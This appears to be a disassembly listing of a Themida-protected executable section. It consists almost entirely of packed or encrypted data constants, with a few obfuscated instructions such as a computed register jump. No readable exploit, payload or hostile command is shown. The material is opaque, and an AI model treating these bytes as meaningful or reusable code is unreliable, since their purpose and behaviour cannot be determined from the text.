		dd 0E841B4C6h, 3101A231h, 0AAEC9189h, 235073BCh, 0F7E03966h
		dd 16B49FA1h, 45C18CADh, 0D4F4B9DAh, 0EC81193Fh, 0CDF15251h
		dd 4D000000h, 7C27632Ah, 0AB1492D7h, 0DD46C48Dh, 0DB6F4B1h
		dd 1EE5216Ch, 0DB96B75Bh, 0F42E44Fh, 3D7418BBh,	6E2746E9h
		dd 6C9E4CD8h, 0B6074E2Ch, 0FF6BD016h, 8D42F25Eh, 1D317E30h
		dd 1E3DE624h, 0BC28609Ah, 311AAF58h, 0FFE5C258h, 1788155Ch
		dd 26893D74h, 1AE04805h, 12C873A1h, 4A8062F4h, 20BC91FEh
		dd 9CDF7E88h, 8AA5B607h, 90D97C25h, 0C38AA90Ah,	0D9C99C5Eh
		dd 73E8201Ah, 640EEB2h,	201ADA02h, 5EC157C0h, 8F30763Fh
		dd 0A778A5ECh, 0B718CE8Bh, 0B0E8129Ah, 92201AD9h, 0AB63C0B9h
		dd 59BB4CBBh, 0A90FF822h, 159E373Ah, 80266F0Eh,	0CAE8205Ah
		dd 71DA201Bh, 53F25D27h, 6003EC1Ah, 0C61C8F29h,	0A2F6BFDDh
		dd 3DDh, 0CBB0F800h, 8C1158FFh,	0F4397013h, 0E340092Bh
		dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh,	60CD84A4h
		dd 4AD792BFh, 0E28952FAh, 4C281h, 0EA830000h, 24148704h
		dd 5024248Bh, 405E089h,	83000000h, 48704E8h, 2C895C24h
		dd 8C26824h, 34890000h,	7ABF5724h, 684DE916h, 0B8C65585h
		dd 5FFD015Dh, 24348B54h, 4C481h, 53550000h, 0D91BD4BBh
		dd 245C290Fh, 468F5B04h, 8468108h, 0FD91BD4h, 5E2434FFh
		dd 4C481h, 2C8B0000h, 0E7895724h, 4C781h, 0C7810000h, 4
		dd 5C243C87h, 0F9049DE9h, 310587FFh, 0FC81C8F0h, 8FA8654h
; ---------------------------------------------------------------------------
		inc	ecx


loc_5C133D:				; CODE XREF: Themida_:loc_5C05C1j
		mov	eax, 6AF78A4h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 21ACh
		dd 9D20203Bh, 0B32A3228h, 45326C54h, 2EA16FD4h,	463A22D8h
		dd 4A34955h, 0A5E7623Ch, 0BA343FB1h, 0A5F39E9h,	24D25457h
		dd 8E8474Ch, 83000000h,	0A7559CBDh, 66B97EE1h, 815ED18Bh
		dd 64F1C6h, 2850F00h, 8B000000h, 1914B9FAh, 820F0000h
		dd 0Ah,	815E5160h, 1F00E5DAh, 36FF6172h, 28D0F5Bh, 8A000000h
		dd 0D4EB81C1h, 660E51EFh, 817567BAh, 0BA87B2EBh, 0E9F38152h
		dd 0E97926E6h, 5, 270F81CDh, 8E0F53AAh,	3, 8FC28B66h, 13E906h
		dd 3ACB0000h, 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 0D64AB054h
		dd 2EE83E2h, 3840F60h, 0F000000h, 0BE66C0B7h, 4E614AA9h
		dd 0BA66504Eh, 815F6EA4h, 1E9h,	8B850F00h, 0FCFFFFFFh
		dd 34E9h, 0FDB27E00h, 23h, 0Bh dup(0)
		dd 560E900h, 97B20000h,	4AE748DEh, 7018BB0Fh, 2C42ED39h
		dd 0D172DD69h, 0F0810E9Ch, 0FE4C0122h, 22783555h, 1CAAE381h
		dd 4DD990B3h, 0C1F903D9h, 83B60750h, 91B41F45h,	0BA4B50D8h
		dd 2F743959h, 56F5BAFEh, 6B08EB1Fh, 0A8812Eh, 2C6102A3h
		dd 5F16359Eh, 7B3251D2h, 0A4C72836h, 0C15740EDh, 56FC315Eh
		dd 2C9D8E13h, 0CAE34009h, 74E14CD1h, 0C881A4ABh, 0FAB3D172h
		dd 0ED45E3CCh, 0A75B351Bh, 0DB5D364Dh, 5288B71h, 55B6E74Ch
		dd 0E23B7835h, 8A4BE9B6h, 0F903A7EEh, 0AF589FC1h, 72BFA883h
		dd 23660BF4h, 0CD082AF5h, 0DD09E2ABh, 0A15FB19Bh, 0BBFD685Eh
		dd 3AC09C8h, 0B1E913B9h, 93AF5884h, 8DAF70B8h, 0BEDD46C4h
		dd 65A0AAF7h, 0D7AF5885h, 65204EB1h, 0D249EF38h, 78554151h
		dd 65B012DFh, 8B000000h, 0F09D5CFFh, 463F68B5h,	703556A0h
		dd 14AD8525h, 9D3B2784h, 58402F6Bh, 0FE3A15AFh,	58402E68h
		dd 961F9CAFh, 0DFBFA884h, 0D77C6712h, 9C1C0D92h, 17Eh
		dd 52FFC100h, 74198A17h, 52A9531h, 6ECAE340h, 4B0E24FDh
		dd 159E0FE6h, 0E624610Eh, 0D3571E3Dh, 3D7D8F35h, 7AF57D7h
		dd 65CA8FA4h, 0D6DD5B34h, 0F7135EFFh, 0D6FB3F49h, 6EC9AF57h
		dd 0EBE76B94h, 0C25617C7h, 0D693C061h, 0C46DC649h, 55D19CBDh
		dd 9D024BEAh, 802D6404h, 0E8EA4B20h, 12DF2B0Ch,	0D59CC023h
		dd 43B143h, 0FF8A0000h,	158E135Eh, 1EF53A73h, 5CFD04ADh
		dd 92A9511h, 2846DF44h,	100944E5h, 0DD462D93h, 0DFD411DDh
		dd 803412h, 0FF0F0000h,	158E135Eh, 0DFF13E77h, 0DB014BD4h
		dd 57D769A1h, 0B8F05BAFh, 8F1B56F7h, 1752FFA0h,	94365C8Ah
		dd 0AF57D794h, 8320690Fh, 0B9FF58AAh, 57D768AFh, 571A3BAFh
		dd 743959CAh, 98D5762Fh, 0D6FF021Bh, 56B4CE4Dh,	0D79A9E28h
		dd 4768AF57h, 24746D24h, 509AE64Fh, 0D16BE817h,	0AF5804D9h
		dd 0AF7680ABh, 0B6B44EA0h, 7B94A450h, 3521F523h, 0F812DF4Dh
		dd 1302637Eh, 5FD9603Ah, 1BDh, 59FF8600h, 6B09EA10h, 0B14DFD22h
		dd 4C84A14Ah, 0DFE3A13h, 64FEED1h, 205A8099h, 0AF58A0E8h
		dd 782771DAh, 0D0179CD5h, 15333AFBh, 0BF20CE5Ch, 0CF58D099h
		dd 9630D66Dh, 0B600AE33h, 0E3AACA35h, 2AFE682h,	0D6418F29h
		dd 0FCB5D849h, 2F6605AEh, 0AE3E7882h, 508AB600h, 3ADC3C06h
		dd 50D8ED39h, 0E4763AFBh, 2D961BE8h, 3D5BCCF7h,	0D87B2474h
		dd 8BAA1591h, 0A1C45DC2h, 6FC44BE8h, 0D59CBFC6h, 2048AB51h
		dd 7F6BCF69h, 0B61477C9h, 1FA9214Dh, 0B600021Bh, 0C3554EE9h
		dd 10E31h, 0B5E70A00h, 23AED80Eh, 0E1B60007h, 0D06A9036h
		dd 0B60006D8h, 206509AAh, 0A102E137h, 0D47FCB82h, 0EABBF8B1h
		dd 1A9D024Bh, 4AE9F0B1h, 76598703h, 6179CD9h, 0E62A0692h
		dd 3ECD1477h, 56000000h, 84C6B6E7h, 0AF57D784h,	0CEFCD57Eh
		dd 57D75CBCh, 0E685262Fh, 302902AFh, 0D72F6BF3h, 0CA612F57h
		dd 6ED97A69h, 0D6EA0EB8h, 7FD8AF57h, 65A7CD2Bh,	0AF57D725h
		dd 1BE4341Fh, 93h, 0EB5E73Eh, 0ACFAED8h, 9AB5B600h, 8126EA6Ch
		dd 9811F954h, 53F2B310h, 238C1Ah, 2162E449h, 6DB5FFDCh
		dd 0F7969D06h, 7DDF68BEh, 0DBB9F10Bh, 0A08BB5FFh, 0C1E913B7h
		dd 0A7BCAF55h, 0CA571A3Ch, 9EB947D1h, 69ED9011h, 0AF55DBDFh
		dd 0E9A0C8BCh, 59935344h, 0F4E98F69h, 0B1AA8364h, 5FC0ED6Ch
		dd 609AEC40h, 0BCAF8828h, 0A97DA7Bh, 6C66D111h,	0D4147166h
		dd 5C8A630Dh, 0E0949436h, 0C56EBCAEh, 4B7F8953h, 39C35E5Ah
		dd 5A71A9D3h, 0F853C35Eh, 0E79CBB0Fh, 0B2D80EB5h, 36741F38h
		dd 0D9D25F16h, 45EBB601h, 7C2515D3h, 0D83BB607h, 95BBFDB4h
		dd 0B3D11C32h, 8B64B5FAh, 0ABD10D92h, 30C74221h, 5F6766D8h
		dd 0B607875Bh, 0FA017C21h, 7476C0E7h, 2CB4F416h, 0A58EB607h
		dd 0A0C36CCCh, 53F25DE9h, 446EC1Ah, 0B6072D04h,	2D68A0DAh
		dd 0F15AB607h, 71D246F1h, 0FD3D4FF5h, 0C7B6072Ch, 9646926Ch
		dd 16B78734h, 68B84482h, 6CD9DB59h, 1D99BCC3h, 5968AFEBh
		dd 1C3295DBh, 53776059h, 69979335h, 0C26DDB59h,	2043EC56h
		dd 692662A4h, 331CDB59h, 0A609D55Ah, 0C36CCC89h, 8245EAAFh
		dd 0E2818829h, 67F11FABh, 57B27DC4h, 0EDB2E64Fh, 299A074Eh
		dd 0Ah,	3F59BA0Ch, 0B8F02976h, 58FFC3B8h, 70138C11h, 92BF439h
		dd 2042E340h, 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h
		dd 92BF60CDh, 50FA4AD7h, 405E089h, 2D000000h, 4, 5C240487h
		dd 56243489h, 0C681E689h, 4, 8704EE83h,	895C2434h, 8951241Ch
		dd 4C181E1h, 83000000h,	0C8704E9h, 3C895C24h, 3D94BB24h
		dd 0F3815349h, 718C216Ah, 174ABE56h, 0D6F762D7h, 0EE81D6F7h
		dd 7EECB9FBh, 685EF301h, 7753h,	81242489h, 42404h, 835F0000h
		dd 1C8904ECh, 24048124h, 6F86202Eh, 8108478Fh, 202E086Fh
		dd 34FF6F86h, 0C4815F24h, 4, 5B2434FFh,	0E904C483h, 0FFF8FE22h
		dd 4053568Ah, 9B64C947h, 5D1A2F4Ah, 0AB82D88h, 306AF7Fh
		dd 5BE0FFC5h, 0BE66134Dh, 0EA4A6AD4h, 0F61D1659h, 0FD040641h
		dd 0CA70C8A6h, 0F2527DAh, 0D6054F58h, 0DD251DD0h, 3D4BAD26h
		dd 0B431BB8Dh, 2C1ABE64h, 0C97187F9h, 0E33988F4h, 95570217h
		dd 0EC65A897h, 0F240A034h, 59289C8Fh, 0D62F9396h, 373FB872h
		dd 0E87ED5CCh, 5, 48DE44CAh, 3800F7Ch, 0F000000h, 0FC5BF0B7h
		dd 0DAF4C381h, 890F0000h, 5, 5CF68166h,	0FFFF33D0h, 8E0F1F34h
		dd 6, 1298F681h, 815A57C7h, 3C588BEEh, 29EA813Ch, 8126FF8Fh
		dd 65D372E8h, 1FF28110h, 0F15290Bh, 0EA81C9B7h,	293CEFD9h
		dd 1489CA8Bh, 13E83Bh, 0EA4E0000h, 0D3119566h, 0C71A391Ah
		dd 0A11173B1h, 0CB0AF7DFh, 0D08166D6h, 0F583725h, 0EF83CEB7h
		dd 9695B903h, 0F4F6FF9h, 285h, 81F18B00h, 0FF25A4FFh, 8C850FFFh
		dd 0B8FFFFFFh, 1E5A6A73h, 0ECE9h, 0
		dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
		dd 0E6000077h, 277h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 600h, 118AC500h, 9C662232h, 0D3EF3506h, 753878BBh, 1565CF3Dh
		dd 9E002232h, 0E6E777C1h, 960765AEh, 0BD789D8Fh, 1C132234h
		dd 388FACB1h, 61668E9Ah, 9E35142Bh, 11779AF2h, 90EF1132h
		dd 13CE8F87h, 0B4CAD9BFh, 0C6992498h, 0A8E54969h, 13CEA5DBh
		dd 45713032h, 11779A61h, 90EF1132h, 13CE8F87h, 8BFDD9BFh
		dd 0C6992498h, 45064969h, 4BA43F3Dh, 7403B3B2h,	156624DBh
		dd 19445032h, 9479171Ah, 156640DEh, 3162AB32h, 594225B3h
		dd 4D703202h, 0AF560807h, 1563CB24h, 0C67F1132h, 755270F0h
		dd 0AC002080h, 960752F7h, 0BAE6D98Fh, 91698834h, 15664457h
		dd 82BFA252h, 46E39C53h, 0E0602765h, 1576C13Dh,	1E8F2232h
		dd 0A0661132h, 91734A2Ch, 8AF670D8h, 0C599B605h, 156617DBh
		dd 0EFE84132h, 989DE072h, 0BA31A1B7h, 0FEF1E34h, 1A668832h
		dd 156650B9h, 1569CB32h, 0EA101132h, 0FA808ED4h, 116255BEh
		dd 0BB7589FBh, 1AB6EE1Ah, 156680BDh, 17E44B32h,	75662232h
		dd 0C0E3D753h, 43602027h, 0FC3524CEh, 15662239h, 0E9827BCFh
		dd 9A3D561Bh, 4A2DF63Ch, 156628DAh, 0D49CD832h,	408FE314h
		dd 1AE8B7B0h, 156622BAh, 7D074A32h, 89CE3060h, 1573CC3Dh
		dd 58F2232h, 18661132h,	51422452h, 1B8CE232h, 0A8FF3295h
		dd 0E9CF0D98h, 1AF33DCDh, 1C8F429Ah, 43662232h,	9EB80867h
		dd 8A0EB34Fh, 7C17C1BFh, 75062499h, 1566973Dh, 48F8832h
		dd 0D7664432h, 8DE2F169h, 0B5D2C001h, 515D4146h, 0DDB239Bh
		dd 0EA07DB53h, 90EFE4E2h, 13CEA88Fh, 154BCA3Dh,	0FC062232h
		dd 15661126h, 0F9B380FCh, 0B974C700h, 32B1C40Ch, 37F3C090h
		dd 847DF72Ah, 156649DBh, 548C9932h, 4F327157h, 8FD60C19h
		dd 0D207ED05h, 0BD7023B7h, 15661134h, 15696132h, 0D8744432h
		dd 6018A7E9h, 0EA6EB99Fh, 240EC56Ah, 0C0E382EFh, 50608A27h
		dd 0DFE74052h, 53BD6DBh, 1560AD69h, 0BAF2232h, 0A75E423Ch
		dd 15726153h, 21074432h, 0C669AFD3h, 775D6ECAh,	0F7C2F147h
		dd 48F19F75h, 7C0EA011h, 75E8635Bh, 94001C84h, 74855EE1h
		dd 9431DB52h, 58723BF9h, 0EA07D021h, 0BD57BD87h, 9D694234h
		dd 15661136h, 0BED03154h, 156657DAh, 67EE5E32h,	0C60C735Ch
		dd 0C3510917h, 0DCEEDD67h, 0D75366C5h, 90EB7069h, 13CEB2F1h
		dd 0C2E72252h, 1B8F7A71h, 0B6661132h, 1D93B06Eh, 20DC0910h
		dd 5F4390EAh, 0C599703Bh, 156682DBh, 0B70C0F32h, 0DE7B3C84h
		dd 9C52DF21h, 0BD6699B7h, 68E2434h, 0CE662232h,	8DAB409Eh
		dd 328E8230h, 0B91A969Fh, 57AC5C32h, 91695609h,	15668832h
		dd 17ED4B6Ch, 75662232h, 90A07053h, 13CE9DE7h, 0FC9A2471h
		dd 15662237h, 0B98D6C09h, 4B0EE9B3h, 75FA2359h,	7493DA52h
		dd 156605DAh, 1046032h,	5FFEC157h, 1283E53Ch, 2831EBBDh
		dd 70ECD044h, 156FADC9h, 6DCA2232h, 0FC8A0B8Eh,	4A9472A2h
		dd 0ECD3BB53h, 1A608A03h, 156630B1h, 68EE832h, 82664432h
		dd 26B83314h, 0FFDEB8EDh, 6DE47012h, 3C7A6E30h,	1A3F8A8Ch
		dd 156611B9h, 0FD06E932h, 15664438h, 46CB0C4Dh,	6FA23D73h
		dd 753E44FDh, 74067B84h, 90EB4353h, 13CE2BF1h, 15670B3Dh
		dd 0EA934432h, 9C6942E2h, 15661130h, 749AD162h,	95D6C1BBh
		dd 9B69249Dh, 1566113Fh, 156680DBh, 79121132h, 1B41D1C3h
		dd 0C0E3D7A8h, 41602027h, 7D4F2CCBh, 7306CC50h,	0EDEDE1B9h
		dd 0ECD37753h, 1A60EC03h, 156634B4h, 1577F832h,	0E8A58832h
		dd 63CA2E47h, 853CB13Bh, 60802D77h, 987D7B17h, 0BD5C87B7h
		dd 0C599DE34h, 1577F852h, 29C68832h, 494BEF81h,	0F2300430h
		dd 0C72A0283h, 1A043B57h, 156644B0h, 90EF4332h,	13C99186h
		dd 156685DBh, 826D1332h, 231C57BFh, 6E3FD025h, 90A0CAEEh
		dd 13CE51E7h, 1DE62D77h, 75661132h, 0CFE7EECBh,	7D070BB0h
		dd 0CF061AF0h, 15679A3Dh, 0EA9E8832h, 0BD57BD87h, 156FCB34h
		dd 8AAA1132h, 0A50218A1h, 98E87E88h, 0BD5CE1B7h, 0FCE77134h
		dd 2E64ED3Ah, 1569CD3Dh, 1C8E2232h, 8D661132h, 0DE8CED21h
		dd 0B9EF8C4h, 0C5994368h, 0ADE398CBh, 0E06027B2h, 26FBF9B1h
		dd 1A66249Ah, 156706B7h, 156A6132h, 0D17A4432h,	0DE3CD6D8h
		dd 0A91676B4h, 90A03DE0h, 13CE51E7h, 156FCB77h,	2FD61132h
		dd 24889DFEh, 7D28B659h, 0EF465CB4h, 0ECD3EECEh, 1A602003h
		dd 156643BCh, 14E72D32h, 0EC661132h, 2FA50DBFh,	48F429Ah
		dd 1F662232h, 344FD8F0h, 5F071507h, 9C9411Fh, 7A09D44Eh
		dd 7306C1CDh, 0AAF5C28Ah, 2C43B9F3h, 90EFD753h,	13C9918Eh
		dd 0C0E34ECEh, 5960EC27h, 0C2ED4452h, 1A07C8B9h, 156680B8h
		dd 17E84B32h, 75662232h, 0C5A57953h, 0EA9E6814h, 0BD57BD87h
		dd 19EA2D34h, 75661132h, 0C82A3054h, 1566C13Dh,	0FC072232h
		dd 15661139h, 49A5F511h, 0DEDBC46Ah, 98F4C3C1h,	0BD5CD2B7h
		dd 15746134h, 64324432h, 0A7C0FA4Bh, 41BA84A1h,	4D76C814h
		dd 90FF666h, 1B8FF2CDh,	59661132h, 0EB8E2342h, 0B5407082h
		dd 7DECDF04h, 0D5E398E6h, 756027B2h, 86F395B3h,	0DEE73C80h
		dd 42F7F10Eh, 15806153h, 98694432h, 1566223Eh, 1560983Dh
		dd 9B698832h, 15664432h, 0B3A7F4h, 0E034179Ah, 5F82855Ah
		dd 9E06248Eh, 0DCE744C9h, 1A07B32Fh, 15668BBAh,	0ECED2232h
		dd 7CD3DD53h, 0FC60B91Dh, 15668822h, 0C8DB8E69h, 5B9E2EE0h
		dd 0FFBD0DAEh, 3D249153h, 2FA5C1BFh, 9469249Ah,	15661121h
		dd 15606152h, 0E2E44432h, 65C3DCE5h, 52FDFEB3h,	0EA078D1Ah
		dd 9C6924E2h, 15662234h, 15669D3Dh, 9E008832h, 90EF25ECh
		dd 13C9A28Eh, 1567903Dh, 0D3938832h, 0BD7391B7h, 7D937034h
		dd 0B32A5B7Ah, 84E13252h, 94067A7Fh, 9BD5E5F0h,	0DDE77775h
		dd 74075D95h, 3A0FF1CDh, 9F69249Ah, 15661133h, 0D6E305CEh
		dd 7560EC08h, 9400E1B9h, 74015ED0h, 9C9A58CDh, 0BAE684B7h
		dd 1568CB34h, 0DE021132h, 0AD7668AAh, 0ADCB4109h, 17B6F21Ch
		dd 0B394F4h, 1A348E9Ah,	15664CB6h, 17E92D32h, 75661132h
		dd 0A18CE053h, 0EA9EB970h, 0BD57DB87h, 90EBE434h, 13CEB2F1h
		dd 0FCB6BBC7h, 1566223Dh, 8B4112EEh, 0A55BC960h, 0D0DB464Fh
		dd 9C491B7Bh, 0BD5280B7h, 9269E834h, 15664434h,	1566A93Dh
		dd 0A2691132h, 90A0E9FDh, 13CE51E7h, 14E92D45h,	0EC661132h
		dd 82CE2B5Ah, 0A099BCC1h, 13CE2F1Fh, 0CDE74352h, 704F9166h
		dd 90EB256Ch, 13CE18F1h, 0E9B6EECAh, 26DF0DBBh,	9769429Ah
		dd 15662235h, 15679E3Dh, 0D39F8832h, 0BD7391B7h, 0A3067034h
		dd 18E71ACh, 0D668832h,	0A438B910h, 0F8B3C916h,	0DF100ED2h
		dd 0AD9C1EF8h, 4AB51C17h, 156633DBh, 0F3C83832h, 6F2FECB5h
		dd 105E48A0h, 0D59ECFEh, 74071CC0h, 0C8579F5Ah,	78FBDB8h
		dd 0C6662232h, 5654BD54h, 0D8404388h, 8C5BC15h,	80B1968Ch
		dd 0ECD3EEBAh, 0FC602003h, 15664421h, 9377DC99h, 75683CEFh
		dd 0BA50CA95h, 0DF5D23B5h, 9835FD2Fh, 0BD5CD2B7h, 0C5997D34h
		dd 156654DBh, 41EB4632h, 820CDFA3h, 73EB06E0h, 0BABF2F04h
		dd 14E3AB52h, 0E960B900h, 0B30DF4h, 0FC30429Ah,	15662239h
		dd 158E5CEAh, 3808768h,	7DB85B0Ah, 0C1794F0Bh, 9669E952h
		dd 15668837h, 82B6C554h, 0A09943DDh, 13CE1EA7h,	156682DBh
		dd 947E4032h, 0DFE9759Eh, 983E7B0Bh, 0BE0FF9B7h, 1BE54B34h
		dd 0FC662232h, 1566113Bh, 4DDBD9Dh, 7FDC8ABh, 1572CB46h
		dd 826A1132h
		dd 0BED8A2A6h, 0FE13C0BCh, 0AB247DD6h, 98120541h, 0C59901D6h
		dd 156EC43Dh, 96692232h, 15661130h, 90EFE952h, 13CE6C9Fh
		dd 1567A13Dh, 0D3931132h, 0BD735DB7h, 0AE060334h, 26CCF9A5h
		dd 51C7953h, 1D8F09EEh,	35664432h, 0B7FF6DB9h, 0EAF513B1h
		dd 0BD577187h, 0DAE72434h, 7D8B9D53h, 156601DAh, 0DFDCE832h
		dd 531D7FD4h, 5511CEBAh, 0B29BC449h, 0C6E7EEEBh, 743860DDh
		dd 1563CB52h, 0F0441132h, 94E707C6h, 0A6CE24DAh, 90EB4373h
		dd 13CE2BF1h, 156B0F3Dh, 1D8F4432h, 0B4662232h,	962C060Bh
		dd 75599B18h, 1561ACCEh, 4FC72232h, 0FE14CE44h,	0A99936B9h
		dd 743E6BEFh, 0FC06F2CDh, 15661121h, 8B61B61Dh,	55E2FF80h
		dd 0B3C1967Ch, 0AC15C865h, 736B18E0h, 9C078AB9h, 0BD71F3B7h
		dd 23D47134h, 0D39AE9CAh, 0BD7391B7h, 95066534h, 0A2691CC2h
		dd 0F70EE9EBh, 1AEC4B87h, 156623B1h, 0A099E932h, 13CEB9CBh
		dd 0D6E3C9CBh, 1A608A08h, 156610B5h, 0C5997132h, 156ECD3Dh
		dd 0ED062232h, 0EFB09054h, 90EFE9D7h, 13C9C4D2h, 1561A43Dh
		dd 0A1061132h, 37A708C8h, 1577AD53h, 0A88D2232h, 359DD6C6h
		dd 0B27F2451h, 90E1B9C7h, 0D2F06D50h, 0BD6AD0B7h, 1566F034h
		dd 0FD06BD32h, 15662221h, 0EC15E4Bh, 30365A4Bh,	0C3AEFB92h
		dd 7F850AE2h, 4D02EBD8h, 0B0AC0954h, 0A8E5255Ah, 13CE39CFh
		dd 0BDE21E32h, 7566882Ah, 9E696E86h, 15662231h,	74A89A54h
		dd 0B30DF4h, 0FC2A429Ah, 15662226h, 4F9642B4h, 46ECFEEDh
		dd 25A49F06h, 72539154h, 0A6C166CBh, 0CF7A615Ah, 0AA0024EBh
		dd 0EA07CC96h, 0BD57E887h, 18E98734h, 75664432h, 0CBE6A89h
		dd 15E51E00h, 74668832h, 0AB60FB52h, 0ADDF66FDh, 7437315Bh
		dd 2FA50DBFh, 0EA9F429Ah, 0A26942E2h, 1577F8CBh, 85298832h
		dd 0E3F98D52h, 0A6FAD12Ah, 0D5E4E1B9h, 7452979Ch, 95AAC1BBh
		dd 9969249Dh, 1566112Eh, 1570053Dh, 48F4432h, 6B662232h
		dd 0A70893ECh, 0F57B8D59h, 9FFC59Dh, 2B53BA14h,	0B394F4h
		dd 1A2A8E9Ah, 156645B4h, 0DB0ED732h, 1ABB65ECh,	156689B1h
		dd 0A099BD32h, 13CE13CBh, 156A933Dh, 9B698832h,	15664434h
		dd 1566AA3Dh, 0FC061132h, 1566883Bh, 10AF72D6h,	0B4E346F1h
		dd 740642B9h, 90EBE968h, 13CE7EF1h, 1567A53Dh, 0EA9E1132h
		dd 14EE87E2h, 0E0664432h, 95B6A7BBh, 0D39A179Dh, 0BD735DB7h
		dd 7D930834h, 0A2E7A00Dh, 0ECD3EECBh, 0FC602003h, 1566443Ch
		dd 2B5C680Eh, 97CA8756h, 0EAE3CA16h, 90EB470Dh,	13CE18F1h
		dd 61DD7752h, 0D4E7EE1Eh, 0EA07D60Bh, 12EB2DE2h, 75661132h
		dd 46BC0354h, 1E8F256Dh, 8E662232h, 6D4CD71Eh, 8D48B828h
		dd 90EFC99Fh, 13C9A2E6h, 0FADE7752h, 90A0E952h,	13CE51E7h
		dd 156DCB7Eh, 0DBF11132h, 2BA2B8E2h, 209EBDFCh,	557E4AACh
		dd 128FA21Dh, 0A668832h, 0D105FC1Ah, 0A099C671h, 13CE20CBh
		dd 156687DBh, 8AF9EC32h, 0E321353Eh, 0C1D119E2h, 92AF705Fh
		dd 2FA5C1BFh, 0FC06249Ah, 15661126h, 0C6B7D031h, 74F1CBE8h
		dd 0AF86400Eh, 0F6DB3978h, 2DCEB5DBh, 15664ADBh, 8C7F3432h
		dd 0E48B5D36h, 694D5AD0h, 74761445h, 1B8FF2CDh,	0F7661132h
		dd 0A3E190E8h, 0F5158EDBh, 0A0318097h, 0C1E398F7h, 0FC6027B2h
		dd 15664435h, 18520FE1h, 0D360BC41h, 0BD735DB7h, 7D9F0234h
		dd 0AFB82426h, 156A903Dh, 97698832h, 15664434h,	1566A23Dh
		dd 1A061132h, 156689BDh, 86D4B832h, 0ECD3DD53h,	0FC60B903h
		dd 15668834h, 1578C7ECh, 90EB43C2h, 13CE2BF1h, 1560063Dh
		dd 0A3064432h, 743D7210h, 78FC1CDh, 66668832h, 1E7EDADFh
		dd 51947BA4h, 0A2885274h, 5A245E58h, 0C9E3CDC4h, 0FC608DB2h
		dd 1566113Ch, 5F2E042Ah, 6E44F2ECh, 9B8AD33Dh, 90A08DB5h
		dd 13CE9DE7h, 6F0EB875h, 75E7FE22h, 75A89A54h, 0AE0043B9h
		dd 7407CB8Fh, 249F97CDh, 18F179Ah, 94668832h, 3A99B1EBh
		dd 9C31F48Bh, 3C5D0DCEh, 4921D561h, 984BEB0Eh, 0BD5CE1B7h
		dd 0C599ED34h, 156680DBh, 49F4EE32h, 0E7DEC3ABh, 0F1E398DFh
		dd 1A6027B2h, 156640B9h, 74064232h, 0C0E3D753h,	52602027h
		dd 156EC13Dh, 99692232h, 15661130h, 0B90EE952h,	0EC89C3BCh
		dd 249F97CDh, 78F179Ah,	50668832h, 7FBA6745h, 9CFEA8BFh
		dd 853EDDBDh, 0D7A01CC1h, 0D6E3C91Fh, 75608A08h, 1A21CAB2h
		dd 15668ABBh, 743D1332h, 9C9FF2CDh, 0BAE6F9B7h,	9169E834h
		dd 15664433h, 0DFD92DCAh, 0C0E3D753h, 52602027h, 1561CD3Dh
		dd 9D692232h, 15661133h, 0B2B4E0CEh, 0EA9A90A8h, 0BD57DB87h
		dd 14EF1E34h, 0E9668832h, 2FA5C1BFh, 9C69249Ah,	15661135h
		dd 73BF0352h, 0EA07B3B9h, 0E2E742E2h, 6EFE820Eh, 15660D3Dh
		dd 9C074432h, 0BAE6CEB7h, 90A0E934h, 13CE9DE7h,	110EB175h
		dd 0E0DCE30Bh, 249FA4CDh, 989A8E9Ah, 0BD5C87B7h, 0C599DA34h
		dd 15661DDBh, 0BEF83632h, 16EA651Ch, 0BA7F4625h, 90EFE412h
		dd 13C908C2h, 156CC43Dh, 73062232h, 9400DEB9h, 74B626ECh
		dd 153FF9B1h, 1A66249Ah, 156680B7h, 14E48732h, 0E9664432h
		dd 0B3A7F4h, 0EC21179Ah, 674BEF5Ah, 1F8FBCD2h, 0AE662232h
		dd 21B484F3h, 7975592Ah, 0ECD3BBB4h, 75608A03h,	156601DBh
		dd 0A6495132h, 0F4007A1Eh, 941096BDh, 7288E250h, 1A06E99Ah
		dd 156646B4h, 0FC3C7032h, 15661126h, 3C77A36Fh,	2F0CD76Bh
		dd 1C06F26Ch, 833E3367h, 0FECBFE4Ah, 0D6E3C953h, 0FC608A08h
		dd 15661137h, 0EDA57169h, 75B6BBFDh, 0E7ED1084h, 0E1E39853h
		dd 0FC6027B2h, 15664438h, 1C4797A9h, 9200AD36h,	90A0B3D6h
		dd 13CE51E7h, 1BE02D75h, 0FC661132h, 1566883Bh,	38CF9EAFh
		dd 6041A210h, 0A6D7799Eh, 9069061Bh, 15664435h,	0F5E74452h
		dd 0EA0746A1h, 0BD577187h, 90EBB834h, 13CE18F1h, 0CEC1E52h
		dd 0FC668832h, 15664426h, 4EDA654Fh, 0C98D9C37h, 4E822F60h
		dd 0B4DD615Fh, 221F8453h, 2E09D6B3h, 0EA07A32Ah, 90EFB1E2h
		dd 13C9A2CAh, 0D5D91E52h, 1AE58753h, 0FC664432h, 15662238h
		dd 0F6FCE598h, 0EA320BAEh, 90A09306h, 13CE37E7h, 1560F871h
		dd 92B98832h, 73768AE5h, 632C855Ah, 1568F8F2h, 0A52A8832h
		dd 73DFDB00h, 2F83B288h, 0CD6D5B1Dh, 249F3DCDh,	188F429Ah
		dd 0F6662232h, 7D1CEEE8h, 0C1F6EB96h, 0D0CD0FB6h, 2FA5A7BFh
		dd 9F69179Ah, 1566882Ch, 157EC83Dh, 68F2232h, 2C661132h
		dd 76868994h, 51E7C4DEh, 0BC873BDh, 0F5567DF7h,	0C599184Ah
		dd 1AADCF52h, 156624B8h, 15E01E32h, 74668832h, 1567CD3Dh
		dd 9C932232h, 0BAE6EDB7h, 98697D34h, 1566443Eh,	1560AE3Dh
		dd 9E691132h, 15668832h, 0B3C1F4h, 1A2A249Ah, 156619BAh
		dd 17E68732h, 75664432h, 798D4A53h, 0AB06EA54h,	58C115AAh
		dd 6D08A2B3h, 0EA073CD2h, 0BD6B3C87h, 0ED06E834h, 0BCD92253h
		dd 90EB4343h, 13CE2BF1h, 1567063Dh, 0EA9A4432h,	108FDAE2h
		dd 4E661132h, 0BD91056Bh, 94F6C1BBh, 58F249Dh, 59661132h
		dd 4D69E4D8h, 0DDAB450Fh, 40DFDEE6h, 0D3CC1760h, 0BD735DB7h
